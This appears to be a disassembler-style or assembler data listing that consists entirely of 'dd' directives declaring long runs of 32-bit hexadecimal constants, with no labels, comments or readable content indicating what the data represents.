dd 0B3BF0069h, 0CE2FEF0Eh, 430F323Ch, 809250C7h, 0E6F73EF2h
dd 80B20019h, 0F5C29AAh, 68136A3Fh, 0C34073DCh, 9A323961h
dd 8F8B0035h, 7D80B717h, 86007F94h, 9F4C6EEAh, 79127Eh
dd 0A2624BF3h, 990B0EF0h, 0DD256000h, 0A79D65FBh, 0B2843E09h
dd 0AF295F00h, 8A3D5AA0h, 0AAE5900h, 38DE93BAh, 9D6A0056h
dd 0C472EA50h, 0E500343Ah, 65FAC14Ah, 0FEF6CB9h, 0F28FBFF5h
dd 0D368EA60h, 9D02626Eh, 0F95CB8ECh, 60826015h, 48853EACh
dd 51E96900h, 0BA126D2Eh, 900E1670h, 20FF5AC6h, 17DB0928h
dd 0CC9800C4h, 0A15C3A77h, 0AF00376Ah, 0C7CA6956h, 24397Fh
dd 849FE844h, 0DBAC309Ah, 99026160h, 3C1896AEh, 0D0807901h
dd 4BCB3426h, 5600C7E7h, 42B87F8h, 0F2812h, 0B848F55Dh
dd 4E197BA5h, 697FDD0Fh, 8DF3203Bh, 0F84406Eh, 70284715h
dd 0EF0D3E40h, 83BA36Fh, 7FFC0057h, 0E5BD683Fh, 0CB1F179Ch
dd 75D60087h, 80F1209Bh, 0BF44B900h, 0A82750B1h, 0CF5C3F12h
dd 7A61A500h, 68303596h, 0C73FF500h, 0FE2B4E9Ah, 6FB00010h
dd 5C799046h, 0FB0050DEh, 7C01E3A6h, 3CBBE517h, 1280F251h
dd 0F1B7B35Fh, 0E0E49B6Eh, 5C38EF00h, 0C9C04D49h, 0CE14013Eh
dd 8682E640h, 5377ECC6h, 0F3EC8D00h, 44AE51EEh, 87680003h
dd 599F7FB4h, 22007088h, 6C062391h, 383B83Dh, 722B69D8h
dd 81986873h, 0A001DE0h, 3A3BFD17h, 0AC4435h, 58DADB8Fh
dd 96B91A31h, 0C1E42500h, 79C30D6Ah, 371D020Ah, 668F84E3h
dd 0E4469F80h, 87000EE9h, 5201651Fh, 0BBF1E5Bh, 0A40CE002h
dd 6F0020D0h, 0E159E414h, 2AE217h, 0B2FE3E33h, 0CCDC4F03h
dd 441D8D00h, 45E0761h, 15830331h, 7EEB6EA9h, 356A5FF8h
dd 0BA4A4Ch, 0D32DFC9Ch, 5879AAA0h, 180045D6h, 452B7E15h
dd 0C4008940h, 14241E96h, 39FCB1h, 8AF95211h, 19B36AE1h
dd 0BB4BF800h, 1B9B9801h, 25ED071Dh, 60640FFEh, 0B98F69B4h
dd 941ED200h, 6749820Eh, 6DF70060h, 64346276h, 0DA2E7C3Bh
dd 9F0F83DEh, 0CB56C378h, 892806Dh, 5E4600EBh, 0A9D76205h
dd 0CD38BD49h, 4A131F0Ch, 10F57380h, 0ED8570h, 59DF1B23h
dd 65383564h, 63502200h, 477A87A4h, 99780018h, 0D9A5A6Ch
dd 171C40E9h, 20003904h, 823F87Dh, 0E3D0F54Eh, 95F4078Ah
dd 0FF03218h, 8138D983h, 0D6E2CCF0h, 0FE935D03h, 0D895519Eh
dd 0C3F17Fh, 72EEEDC5h, 3D9712F7h, 75667D39h, 8980E500h
dd 0B911F68Dh, 0C8F89Bh, 0E6FD5B73h, 0AFCE58D5h, 86A24800h
dd 22CAADF2h, 0F8A61C2Bh, 253D0099h, 5B08F040h, 20265300h
dd 60FFE6C9h, 0EDD1032Dh, 41D8C2C1h, 0AECA5D80h, 0AA0081B8h
dd 3D8986A7h, 74016E18h, 43600090h, 26F0515Eh, 19009BEEh
dd 1279BF48h, 3F906655h, 1E6CC976h, 0C20586B0h, 0E2CEA0EEh
dd 0C5049D80h, 38F6EC23h, 4A00A491h, 29B46089h, 0CA075730h
dd 3F4EBA37h, 98F19EF3h, 105A98Fh, 0B75B7AA4h, 20C453A7h
dd 2F002E1Fh, 3C343E46h, 0E2010771h, 598D0056h, 293A4BEDh
dd 0F400CDA7h, 84642AACh, 0F75844h, 6D8B0703h, 0D9AD92DBh
dd 6002C404h, 3AC09604h, 14C9A2Ah, 7643F13Dh, 0CC6ACC71h
dd 21001C7Dh, 5B6F6405h, 3D7E5479h, 0AE58BF31h, 0E8DBAB00h
dd 0DF6B59C1h, 69C3BE00h, 9912C05Dh, 7977C8h, 0DCD6C4F3h
dd 1A590491h, 3C78D200h, 46CCD4E2h, 0AC6E0093h, 60930CAh
dd 6700C0F5h, 5A0916Ah, 4245A5h, 0F8EAB00Dh, 3FBC8C1Eh
dd 18345E00h, 6589ECCAh, 1F66B89Ah, 4040C1D3h, 0BAF00754h
dd 0D900BD7Dh, 0CDD2D7FBh, 3A348Dh, 5BC5C76Ch, 0D04FE3BCh
dd 0D7D9F300h, 193FD879h, 212B007Ch, 782A10D1h, 63002E30h
dd 0C929E889h, 501373h, 4DC4F29Ch, 0E702467Dh, 0BBD2D60Ah
dd 7100EB70h, 0A3046294h, 8F490024h, 52E4E321h, 0FC0190DDh
dd 9B39263Ah, 0C5DCB5B4h, 0E75FCC6h, 0C85693D3h, 5F147B20h
dd 0FF03E789h, 0D058C381h, 84C0A5CFh, 0F40A51Eh, 0CBC88F6Eh
dd 0DB496BA1h, 1C3DD48Dh, 22009C71h, 20A0D718h, 7873775h
dd 596A1692h, 7D6D6055h, 0C53BAF70h, 22D20067h, 0F006D71Ch
dd 0ECDA003Bh, 0C7B42A1Ah, 0A11FFBC1h, 0C427CF8h, 6034E73Ch
dd 0AD0800h, 0EC2EF2E0h, 6D32FC38h, 0A467E600h, 749F30FEh
dd 3699003Ch, 6AC3AF72h, 0FC0040ABh, 735971A9h, 3C4B763Dh
dd 100059Dh, 0B394CF2h, 0BE008086h, 0E519E035h, 984F8B76h
dd 0AF7C013Fh, 932BE11Ah, 607FF247h, 0E298253Ch, 6C030353h
dd 0C35EEF69h, 0F7A0C2D3h, 61F0704Eh, 0FACD9000h, 3E55742Dh
dd 0BB773A1Ch, 0E7F46800h, 6E319820h, 0B51EDE00h, 2874EB5Dh
dd 87ED0010h, 1D5B1C12h
dd 5F0E952Dh, 839A96B8h, 0B0CD88A6h, 0E84E9Ch, 0F709782Fh
dd 55F9BF7Bh, 1D9023Eh, 3ECF20B4h, 0C4EC298Ah, 9DD10E66h
dd 42403028h, 0D7B4C3AEh, 51BCCF00h, 0C06332E7h, 0BFA807BDh
dd 806A8853h, 33C6B60Dh, 848B8E0Eh, 7FA96016h, 0B845B5h
dd 42E7A29Fh, 0E991DF9Dh, 17105E00h, 18658239h, 0ADC6001Ah
dd 0AC31A836h, 480099C3h, 0CC44CFBh, 5BCC6Eh, 0F92ED6CEh
dd 204A67A5h, 0E98C4503h, 904EE3AFh, 23F182h, 84B9ECEEh
dd 0A604F267h, 4889D907h, 0CC403D63h, 91DD78h, 6A7EB1D8h
dd 6085C924h, 0D3E64A00h, 59125EEBh, 0F96100D4h, 0F439FD23h
dd 0E0004617h, 4492C3C7h, 0A3359Bh, 9D8CC668h, 70772D86h
dd 54396500h, 958A8033h, 0C272A5h, 8E264FCEh, 19D80CD4h
dd 0FC531207h, 0E370E8E1h, 2025A2h, 70165823h, 0D9CD1D7Eh
dd 0B004BFAh, 8B91E9F2h, 32B4A21h, 0EF246BF7h, 56A914EAh
dd 672DF40Bh, 0C31F9600h, 0A430F7F2h, 5E240011h, 3B19C80Eh
dd 0E20E158Ch, 200A64E4h, 63A455B4h, 4539002Eh, 3DA8537Eh
dd 4816593Fh, 8A0037FDh, 8D1B726Eh, 0B7F880h, 8433D13Ch
dd 4BE959C5h, 47793576h, 0D3B98200h, 0ED9D815Ah, 0A380058h
dd 0AF789093h, 8001BC6Ah, 84513B36h, 0F02096A1h, 0EF2B009Ah
dd 490D712Ch, 7F00F21Bh, 6D18FB33h, 777ADE4Eh, 29E834h
dd 6A4DA2BAh, 0AE3C892Fh, 19A30D03h, 0F0D1863Fh, 1477EDh
dd 1F6C9C6Dh, 0BBF5559Fh, 4A1E6703h, 0A003F323h, 0EDBD46h
dd 1B2F99C6h, 69F5B6B9h, 94257E00h, 0D132113Bh, 1279AAh
dd 0D5A25B54h, 63374605h, 0FCA9900h, 5C6FCF2Dh, 3F590019h
dd 40C9F067h, 0B63DA785h, 13D8047h, 74C73A79h, 87BD00A8h
dd 0B304CA90h, 78009CA2h, 651C5F92h, 22C397h, 284A836Bh
dd 0C5D260A4h, 5450FC01h, 34068F8Bh, 0FADBE8h, 5CEFA76Dh
dd 0B7BD24F6h, 0B0AC000h, 506F0A2h, 0CCCB00C6h, 82C46614h
dd 7439542Ch, 4DB4813Fh, 9BECAF0h, 7731DF0h, 0F871F94Bh
dd 251E8041h, 8F00A21Fh, 0B4786B17h, 0FDA47EF2h, 26F230h
dd 655124C3h, 78280215h, 0E703FC79h, 662BE4C9h, 4C24C059h
dd 0A2A90382h, 91607AF2h, 0E9D532B8h, 2F011C7Bh, 53ABB6BBh
dd 0EDC441FBh, 1285004Dh, 4C737669h, 87EE7F9h, 0F01D3801h
dd 823C7B6Ch, 0B907ECh, 0B31651C6h, 678861F1h, 0F76FCA01h
dd 594DA7FEh, 1820C3F9h, 0B47118h, 92221461h, 0F1401CB9h
dd 283D400h, 901A9D9Ah, 5C96EC68h, 0D1008F91h, 70EAB38Bh
dd 13005A88h, 6855C524h, 0FAA19A90h, 0E21426B9h, 4A6E0049h
dd 17A0E4D8h, 0B6CF0500h, 0A550EFDAh, 0A7E501CBh, 0C389531Eh
dd 0E932C004h, 22239900h, 0F8C2F75Ah, 514B000Ah, 0AA358E36h
dd 3D00FDB9h, 4DD7905Bh, 0ECFC52ECh, 36D4004Bh, 8E77DAC0h
dd 0ED06A78Fh, 1CFE1D35h, 29DC03C0h, 4B8BF0BCh, 0B1D0D08Fh
dd 3900F5CDh, 0B33A25Fh, 4931ACh, 9082B330h, 240CEBA7h
dd 0F6FF3D00h, 4D50DBE5h, 997B006Eh, 3EC196Bh, 220E83C3h
dd 2094CFB4h, 683AB1AEh, 0C6DC0070h, 5595CBA4h, 0E9008999h
dd 0ED710B3Eh, 7237A309h, 3F95B872h, 0D80F9FEh, 9679337Ah
dd 62014CFCh, 8BA96E69h, 9FE42190h, 4DB70078h, 76606BEAh
dd 0AC0059C3h, 164EC07Fh, 55C721h, 3996F714h, 22502C52h
dd 4789DD00h, 0FD8E07DCh, 0C21C002Eh, 987C133Ah, 0AB00141Bh
dd 0A688EB36h, 2ECAC57Ah, 8962F8h, 8C93084Ch, 290084C9h
dd 0AF7DEB87h, 0DB2F4Fh, 0D2C0CADAh, 94AE1777h, 0F078FA01h
dd 0B4158221h, 8F58CCh, 0C567B03Dh, 0CA372E88h, 2DD94E00h
dd 0CF6ABC01h, 1AC900E2h, 6D49D0FFh, 5D00A677h, 0ED2C28CBh
dd 0F0DC2Eh, 0C28B738Ah, 0BBBFC855h, 229D1904h, 1A8088CFh
dd 0E45F75h, 651FA3A8h, 70C71ADh, 0B8773D00h, 0F3BE7DEDh
dd 25961CE9h, 0F820DF2Ch, 29898107h, 51A5E0B7h, 787E4868h
dd 0E172D000h, 4511A9CBh, 0BFEB00CAh, 902CA533h, 7E03FA2Ah
dd 3C2201DEh, 0E948F1FDh, 0F5910C4h, 0B14390E6h, 0E1206CCEh
dd 3CF67DD3h, 2BA66400h, 0CA08D031h, 5C5E7930h, 94000132h
dd 0C21788D5h, 0DD005975h, 5DAB6779h, 7027B5F7h, 0C477000Fh
dd 1D96C6CDh, 3090E564h, 0FE6BD500h, 1821F449h, 0F6A80E1Eh
dd 13803138h, 205E2767h, 76AFCC00h, 54D82423h, 0A5A238B7h
dd 4C10A300h, 0E49CE02Ch, 1C90E500h, 9F807D26h, 0A95B00FBh
dd 8CE6DEAh, 0F0004299h, 60957571h, 598EEh, 0C9A65C8Ch
dd 1586103Eh, 0F8482800h, 24D6C44Dh, 0BFC700FAh, 0F7D96862h
dd 0CF007555h, 0B0C97D1Dh, 33E2EF4h, 20926C97h, 7BF8D785h
dd 0EF244C5Dh, 41247A90h, 42791700h, 3DC0760h, 0E193DE76h
dd 9780F756h, 0A1008B38h, 4399DF16h, 1A594Ch, 5114B33Ch
dd 138A49F1h, 0A96BBB00h, 92A64BCh, 0E32B00DDh, 23D92299h
dd 0D7002CC4h, 0D1FC7C8h, 2450423Ah, 61BD35h, 2961CBF9h
dd 0D40E7783h, 2FE09922h, 5219C027h, 6A0F17h, 0F9BD725Ah
dd 0E69EEF02h, 4A478D00h, 0E76E607Ch, 8ADD0038h, 40E976B9h
dd 49004D27h, 0EDCE9ECDh, 397A71B4h, 0AB9D3EAAh, 5911C0D3h
dd 0DB30EAF7h, 0FE008BB0h, 0E846D6EDh, 0A1F8DAh, 239E51E2h
dd 0A352589h, 559D5C0Eh, 0E8F8203h, 0D467E0B2h, 0C9380007h
dd 84C7085Bh, 7C039B92h, 6DB32B5Eh, 7987B842h, 8BC801DBh
dd 8AF12E46h, 0BE25DCCAh, 0AD35EA00h, 0A010BAB9h, 0B8760086h
dd 0A8D5F30Eh, 7B00586Eh, 457859E1h, 199C50h, 25EA2971h
dd 0B1851A5Ah, 0A8F9FD0Eh, 0FEAAE05Dh, 7267F3Dh, 7389BC5h
dd 0DA601EA7h, 41715D57h, 86B5D000h, 0F11F27BAh, 4B62036Fh
dd 12CDC6E1h, 6655DFA0h, 0BA6EC500h, 0DD31A0B2h, 0F9D90065h
dd 0B927A574h, 0C1000637h, 4DE7E9EFh, 7B498064h, 0F7788Bh
dd 29BAB851h, 17BCDB9Dh, 4843407h, 0A780D524h, 5BDAD7h
dd 0F691D1EAh, 40CB7D2Bh, 0E4681C00h, 394D84C8h, 0FCE501BEh
dd 918621A1h, 29B670A9h, 7B2A2F01h, 0C3EADBF0h, 0DA401021h
dd 0A8A3EFh, 2A7C88E6h, 91948CE0h, 80109A39h, 0A0AEE249h
dd 0B183187h, 0A67AA963h, 14B78300h, 0DE24C361h, 7224DC79h
dd 4E815B1Ch, 0A13A3921h, 5785F0h, 0E74F87D4h, 49779361h
dd 599DB801h, 1FBDEF75h, 0D6B560h, 25BAAC5Ah, 6A575B43h
dd 0C88BF200h, 134DC9CFh, 0B6D00062h, 75B5F6A4h, 5E7B2A10h
dd 96A52B00h, 26FD2CB4h, 91980046h, 698C6252h, 5E074478h
dd 0CC4F4912h, 616E2120h, 0BE2E0092h, 0F4B2E655h, 51009BCEh
dd 0F1D21A30h, 74A2E939h, 0B5421681h, 7F591CECh, 27EDAB9h
dd 17D1974Ah, 0D7C05E46h, 0BE032788h, 23BDAFB2h, 0EACCF92Ah
dd 9358530h, 27EB08Dh, 0F7324300h, 0A4381640h, 700F735Dh
dd 20FD297Fh, 28614D2Ah, 0CA1A2CC2h, 0D1810E40h, 0C1048C0h
dd 0DD00A7F9h, 13D49C80h, 1F647121h, 0C0C0456Ah, 7BE0305h
dd 0FA000AF4h, 7186B427h, 0DF299Fh, 53BDA96h, 2675541Bh
dd 0A0590300h, 130F717Dh, 819C0022h, 9DD02F2h, 1D00EAAAh
dd 0A9D105E7h, 0E8F146FEh, 0EC66005Fh, 0EA4A1F24h, 625050F0h
dd 2E00398Dh, 0D4F5C9DDh, 0A990B2h, 0D418BBEh, 0CB88787Ch
dd 0A6DED900h, 0D583B8CEh, 0A77EC359h, 29800E63h, 19009FDAh
dd 6066982Ah, 7C516580h, 0AABB000Dh, 0C058F510h, 0B2008448h
dd 0E4B6D205h, 3BB753h, 0CD1B2EEBh, 6D0FE163h, 0BDB56203h
dd 0F084303Ah, 0A225C0h
dd 22E4E87Ah, 217265B3h, 78FBD401h, 0EAEDE15Fh, 7469ECh
dd 0CBB7EC48h, 59544BE9h, 16F60F00h, 0C4C067E8h, 5CCE0101h
dd 0DB403AEDh, 0E62E80F8h, 0AAD9771Ch, 0BFB1D3Fh, 874D8039h
dd 82489C97h, 0D8320F00h, 8FDC777Ah, 0F6F303F9h, 0B1624F09h
dd 0D2BD5598h, 17EA3Ah, 9093B05Ah, 30E47D1h, 802229EFh
dd 36E0AB88h, 277AC6B6h, 0A37E000h, 4E54F243h, 13E648h
dd 9D9EE14Ch, 0CCE32752h, 0F3179C01h, 0FBF2BDBAh, 3C3B95F4h
dd 0AE0061F9h, 0A42FB1A2h, 5E008008h, 9DF27D5Dh, 32DD14Ch
dd 0FD0BFE9Fh, 0EFC06314h, 0DAE63FD4h, 0EC2FF500h, 38512DE3h
dd 4CF312CDh, 0C2DD07A2h, 0F2ACB074h, 0B826DDFDh, 6A008024h
dd 0FB52714Ch, 170124DAh, 9CAB00ACh, 901C9DFCh, 0F900D3E2h
dd 81C77E31h, 0D3F66h, 65703B27h, 15FE3375h, 0A97CCE1Fh
dd 0DE369E40h, 7BEDBAEh, 6E52BBB8h, 1B2BA044h, 0ED005443h
dd 87193CC8h, 18E820h, 39B35BD7h, 0E58B7A44h, 9E352900h
dd 0DCFEE23Ah, 0D2F6A7h, 88EFFC45h, 5470F8A1h, 0E5834400h
dd 718C757Fh, 0D41A508Fh, 0FA810019h, 0DF4336EEh, 8800E1CAh
dd 0F48BEA9Eh, 5A9AE0h, 6E2C4D3Ch, 465E26BBh, 21B40D00h
dd 0EC566AFAh, 6C7634h, 3E33BCDh, 0EBFF02B1h, 0F630E7E0h
dd 0C31FC08Bh, 0A6B800D2h, 268A7A8Dh, 0EC00FE8Fh, 67063985h
dd 71E54C56h, 1DAA0FD4h, 5A7E686h, 91816089h, 4E009B76h
dd 6C24F6C6h, 0EACB3B5h, 0FBE43073h, 0F7C722C0h, 0C1002311h
dd 5CA9289h, 67508Eh, 44C3A6DCh, 0B27DC931h, 620FFAE6h
dd 804C2939h, 0B90682CEh, 19A700AAh, 5DD1A23Eh, 0D89F5AFBh
dd 1A7A006Bh, 0DBC6563Fh, 0E400AC4Eh, 819A126Ch, 507D1520h
dd 7916E584h, 9B551C23h, 91BB4014h, 57ABCCAFh, 17D7EE00h
dd 0E6C9BFA9h, 20EC89h, 76E98F4Fh, 80B56F4Eh, 71C8500h
dd 0C1A652D0h, 0DCEE001Bh, 184C41FEh, 2D3CD98Ch, 224F80BDh
dd 5162D63Fh, 0C9DA0093h, 8E9252Eh, 730004AAh, 1687DC18h
dd 0A5A09Eh, 4F3F9D91h, 46A8FFEFh, 2B08D500h, 6DB85B2h
dd 0FAE2B0h, 0A10DB476h, 2E7AFD33h, 0AD5B3Bh, 929E5A0Bh
dd 677B2C4h, 1B8DB08Bh, 39002430h, 0D3A6CFF9h, 7AE8DF65h
dd 0B0840068h, 0E5296A94h, 0EA58E0C8h, 84372450h, 0A81DBD00h
dd 980F3C9Ch, 726A00B1h, 0CC7A1150h, 15EAAFC6h, 0B47D6700h
dd 49014DA8h, 3C930053h, 0F8D85281h, 0D28148Bh, 5F75E871h
dd 80FF483Ah, 9B3C0B07h, 0F8E2D816h, 0F0E700BAh, 71BD7022h
dd 510E4A5Ah, 391F0Ah, 105F0E9Eh, 7EFD00DBh, 0D993D467h
dd 0D57CCC87h, 7D880600h, 2080B6A2h, 14541E5Ah, 0BB0DC002h
dd 3F74D6B0h, 6EDAD400h, 0DC9C3928h, 0E64E1E67h, 6D424017h
dd 60FEA1FAh, 0E8D84A02h, 0C0F4EF6Ch, 1C0F0B0Ah, 0E404778Ah
dd 82DD00D2h, 0D046E29Fh, 41EA4C00h, 27C5C01h, 0F1CE008Bh
dd 0D53F08BAh, 0BBA01243h, 71071195h, 0F43CF86Bh, 81B3CD80h
dd 233B3A7Fh, 0AD3FA481h, 0D486E8B2h, 0E2A0EA20h, 6A0F5E1Ch
dd 0E05781CDh, 7E9E535Bh, 0D2E8ACh, 5987B371h, 9466AFBCh
dd 0A8C3200h, 0B6A87A84h, 2643004Bh, 12204AB0h, 800A23Dh
dd 1E183360h, 31FCCEh, 0AE210589h, 556967DDh, 7B00EFB0h
dd 0AD973439h, 71BA97Eh, 0D41E860Dh, 0FE7730F1h, 4B00AFABh
dd 5A54263Bh, 44E747h, 0A650AEB3h, 0B23C6685h, 0A91EAD00h
dd 205389B1h, 39FA0E73h, 82206EBBh, 6A9A385Dh, 6936061Eh
dd 0B4895CC0h, 97020Eh, 4FDEF519h, 43F723B6h, 9E9D5300h
dd 0A6067A7Bh, 0A973006Bh, 1CAECEF0h, 570004E0h, 0C78A2A76h
dd 0A83212h, 8EE1B8ABh, 0CA2E72F8h, 0C095EC00h, 0F59DE3FBh
dd 0AFEA0F97h, 58209FD6h, 95C28982h, 0C75A5600h, 6CB08E9Eh
dd 30603B2h, 7141F11Ch, 8A12DE90h, 0F894C01Fh, 28CC7B40h
dd 3AC5F73h, 0FA52F972h, 1C1A4A5h, 7FFCE0E5h, 2E180E00h
dd 0AA851EEh, 290600E6h, 146D7537h, 8F14B54Eh, 91E96Ah
dd 0F1610ECFh, 7E4F3C02h, 24CD00B8h, 0FDB428B3h, 0A73A72C8h
dd 880700BEh, 35BA2A5Eh, 3063009Fh, 64D2E52Bh, 3600928Ah
dd 0AE139FFh, 0EC06B42h, 78DF172Dh, 80FD3767h, 0F1B4D976h
dd 0A249D400h, 1006465Dh, 5F8200B2h, 41616C6Fh, 9A00805Ah
dd 68303888h, 837EEAh, 8BB23432h, 0C49C1BDAh, 5B94E100h
dd 2BA2F0E3h, 0D7BA0787h, 60BEEB07h, 39CF19D3h, 2A26A013h
dd 1CD93900h, 94254Dh, 1F85C4B4h, 21B357F3h, 5319B50Fh
dd 97003C02h, 862C7C09h, 0BB450061h, 25899A92h, 1000A6A7h
dd 0D367595h, 38F3A54h, 8657BE83h, 0F0B86E9Bh, 0DD006AD9h
dd 0F57AC35Eh, 16EED29Ch, 0FFF37B8h, 42065F1h, 90AFF1A7h
dd 1E94D700h, 4D2A3C3Bh, 4895ECCBh, 1C000532h, 99F5E10Eh
dd 64F61682h, 5F77EE00h, 3C554C14h, 0E8410784h, 43A72AC4h
dd 0EAA8A029h, 1303239Ah, 1B6EFF73h, 0B34A885Fh, 75E40731h
dd 40110AD2h, 0F0EFF2EBh, 89992128h, 32711E00h, 0CD2FC052h
dd 2737000Eh, 11ADFAC3h, 3903DE48h, 1E9CA75Eh, 4A61B04Ch
dd 71F00097h, 5FDF9DC2h, 5C0017D2h, 8D587CCAh, 5E4330h
dd 680133D5h, 0CF6F2305h, 0FDEC2B00h, 58F3E269h, 1507A80h
dd 4F5FE934h, 0ECC012D0h, 940004CCh, 0C30377Dh, 9AB9B4h
dd 49036B0Bh, 0FFE2D0C8h, 3F00E67Eh, 0FBF471DCh, 1BA517h
dd 0C6BA6480h, 0BE82ADEAh, 0E100657Ch, 73877077h, 3966743h
dd 0CC606157h, 97CA8F48h, 4A7A7CE0h, 0D7D5E000h, 0B39F80E6h
dd 0E5A20093h, 2E929C13h, 5300A9FCh, 9392606h, 0E6E66CEh
dd 0EDDD11A3h, 8D20CFEEh, 0AAFAE759h, 5406807h, 4EA3297Eh
dd 60508206h, 4897FDh, 0ED64A95Bh, 539F1EB4h, 0FE445200h
dd 1933F84Dh, 94C300F6h, 4C28688Dh, 7CE66E13h, 3A83F500h
dd 27648ABCh, 0E435C75h, 0FEBE6D00h, 823E25D8h, 5C65CD03h
dd 0F8723C34h, 2421B9h, 0A620EA36h, 8C331555h, 0E8D4FA0Eh
dd 0C00F816Fh, 0F6C0AB6Bh, 398A01ADh, 0C50E7766h, 8D92F781h
dd 46373560h, 79335700h, 60E520C6h, 14C10042h, 664C8BEDh
dd 0FC2EB561h, 43037CB2h, 0D05DDC7Dh, 1DEB47Eh, 45C09241h
dd 0DBE2B5ABh, 0A45CA2D8h, 2B205D0Eh, 8BE980F2h, 39C41B1h
dd 57928108h, 29A8043Ch, 6BFE72EDh, 3A438700h, 0D87755ABh
dd 9F9B0014h, 0AF7428A0h, 0C2007247h, 61DF8D98h, 1DA05FBh
dd 14A4AA63h, 0CF168578h, 0F355F0EFh, 0F9009280h, 60E88241h
dd 37CBC0h, 566E5F5Dh, 0E127EE88h, 0B687B00h, 0A84D4B66h
dd 0D9E41F1Ch, 1503FFE8h, 22560FF0h, 0ED3F5FF8h, 0D40D2B03h
dd 98D2659Eh, 0CDDD78h, 7C4A7E2Eh, 0D0DB38E6h, 3C6FA001h
dd 5E1B2C08h, 26278970h, 6931B6h, 0DE659AAEh, 0F701BF51h
dd 49F17E71h, 4CE86478h, 6BE13ED2h, 76831780h, 0EEC927A3h
dd 6DAF9E0Fh, 58AB8009h, 854ED1h, 0FDFE8C99h, 8BCE5BC3h
dd 2B000598h, 0C225CA8Eh, 0AB576Bh, 685D279Fh, 0E495A41Ah
dd 65921100h, 0CDC6243Bh, 0D79F0FD4h, 0B421EB9Ch, 4071407Dh
dd 1A5B64B6h, 0F3F7DC00h, 744EF60h, 0B97A04h, 0F5480A27h
dd 8F010F9Fh, 0DEDB3700h, 5492DD3Eh, 78347351h, 25B62472h
dd 6A3C00A0h, 0BF820452h, 32A49800h, 0EF9721F4h, 79819869h
dd 3107011Dh, 33AC081Fh, 4FE0DC09h, 0DF5ADB00h, 2875930Ch
dd 4CBC43h, 0F8407083h, 0A0034FCBh, 5C18F051h, 4063BADCh
dd 0D3CF1Bh, 0E0DA7D65h
dd 52C9C7BCh, 0E77B272Ch, 4CF2A400h, 7D5E5A8h, 46D659EAh
dd 81BAA018h, 0DE00BDC1h, 0A8E242FAh, 9EB7CAh, 62E11A6Eh
dd 4E38A427h, 52B07D77h, 2FF35300h, 7B123AB7h, 67D43BBCh
dd 0DD804A00h, 0F3BA0241h, 0EB153E00h, 6DBFFDD5h, 48E92C01h
dd 0C2191C44h, 7057E574h, 80C56277h, 5EED16CFh, 3E089022h
dd 12019540h, 32FE2663h, 0B446030h, 84819D00h, 676FBAFFh
dd 270F004Bh, 268FDF97h, 0C83D82BDh, 719F007Dh, 4E056E73h
dd 0BF8A00FAh, 235CAC47h, 3E00C87Eh, 0DC02EFD7h, 51853Ch
dd 0EE92B9CAh, 6FFA9AF4h, 93442503h, 0E87C8DF7h, 0B5624Ch
dd 0E1F2D841h, 9141D78h, 946F0407h, 1A61BBD6h, 6121F919h
dd 6ADAC4h, 761BC185h, 92E12364h, 8BE4BB00h, 0BA3A5C0Fh
dd 22413B33h, 65DA1180h, 0CEBDF988h, 304F58h, 19FE5026h
dd 7B645F9Bh, 0E01D0049h, 6AC7E912h, 17071C25h, 0A37756F0h
dd 0CB939070h, 0B6C9000Ch, 0D4792C45h, 0D9001469h, 6E7CCD0Bh
dd 1E2F3F80h, 80B50EB3h, 91D36561h, 2D0052A7h, 0D9DE8FFBh
dd 1CEC99Ah, 43EF1003h, 0C82B164Bh, 0E900A9C3h, 0B686381Dh
dd 1D4F3D2h, 0FBD8B472h, 70F21346h, 0F7383FD5h, 75FA0189h
dd 0AD7D7097h, 0CBBDCCh, 17A490D2h, 63D7B1FEh, 67C42314h
dd 0EDCD00E0h, 0DFA8DA4Ah, 9B7CFCh, 0B28E78F6h, 24493034h
dd 40D2B814h, 0FE2C00E3h, 0F4C3DC5Fh, 9520079h, 25388A86h
dd 6700427Ah, 0F08EEA6Fh, 5D8958h, 0BED641FBh, 8BDF30A9h
dd 0DC0E5E00h, 0E1F6B854h, 6DFD3BF3h, 1FE76507h, 5D3A7038h
dd 0A83D7284h, 2B49008Fh, 869B7E42h, 65661711h, 6C7F0E1Ah
dd 0F040F88Fh, 9A7BCE9Fh, 15F98401h, 51D1DEA3h, 0A247F4h
dd 2679F877h, 955F38AEh, 75082000h, 0D8EE531Bh, 922900D9h
dd 0CFED836Eh, 0F43A8889h, 76482Eh, 4552E8C4h, 0D63811h
dd 9B98E7D8h, 0B5CDC8D3h, 0DAB48530h, 0B6257h, 98007D6h
dd 943EABDAh, 1CFDD700h, 4CE9CF67h, 0CDA80073h, 0F1FE413Ch
dd 1D00C77Eh, 0A58B5D9Ch, 6075D9h, 4D8AE0FCh, 0A215EC39h
dd 4C70130Eh, 55F3A089h, 0B0809Eh, 2102E197h, 8F9CC85h
dd 3DA8EB50h, 0FFB2D000h, 13FE48FBh, 314D00AAh, 37EF05C7h
dd 43001BF7h, 4FCD4EADh, 4F1EB1Ch, 7ED6C832h, 79B38006h
dd 38007BA0h, 0F9547283h, 90218Eh, 10073189h, 6D75C07Ah
dd 0DD465005h, 3C80536Fh, 0ED7F0Fh, 0FD496AE9h, 66258C73h
dd 6975E207h, 0D9A0CE24h, 6A0C13h, 0E563A18Dh, 95EB716Ch
dd 29D4280Eh, 84140E9h, 24911Ch, 9D0ECF62h, 6E450402h
dd 0CD71DF00h, 0DB359F83h, 13E7F2Ah, 1DE902Ch, 0F044C9D3h
dd 480012D5h, 142798FBh, 0DBF73Bh, 87E62283h, 783F63C9h
dd 3C7F11Fh, 0F880AC0h, 5DBA79h, 0B1EAE2D4h, 8E08996Fh
dd 2D71A04h, 0C5807EB8h, 72C6DCBh, 0F879680Dh, 0E9471366h
dd 0A3B042BBh, 9900B06Eh, 0DF439F97h, 1858E3Bh, 0C4622BCBh
dd 0E4F19691h, 6500F41Dh, 9D809ADBh, 5FB1F5h, 3CA86B89h
dd 7A535426h, 1ABABC00h, 15AF2529h, 877C36h, 756241C1h
dd 6BFD1B37h, 7713F00h, 4AEE95F5h, 0F88100EFh, 5C6DBDF0h
dd 1A00302Eh, 456E8F18h, 1D054AB7h, 17E3309h, 694E6BBFh
dd 6C693072h, 6EF3F500h, 75358489h, 6BAD0193h, 0E7FFB488h
dd 0D881D52Eh, 4278D639h, 36DC5E00h, 0DCFD850h, 0EFFD03F0h
dd 1EDF7295h, 0CD23FCD0h, 9B04B800h, 0E394548Ah, 39E0EE14h
dd 280B3A8Ch, 11007F32h, 0C220787h, 8096C53Eh, 0FDA17110h
dd 69B8F46h, 82AD89Dh, 203FE606h, 1F08A13h, 5801997Ah
dd 0B29B025Bh, 4644FCh, 34BCE13Fh, 0AC7CA9EFh, 29361E00h
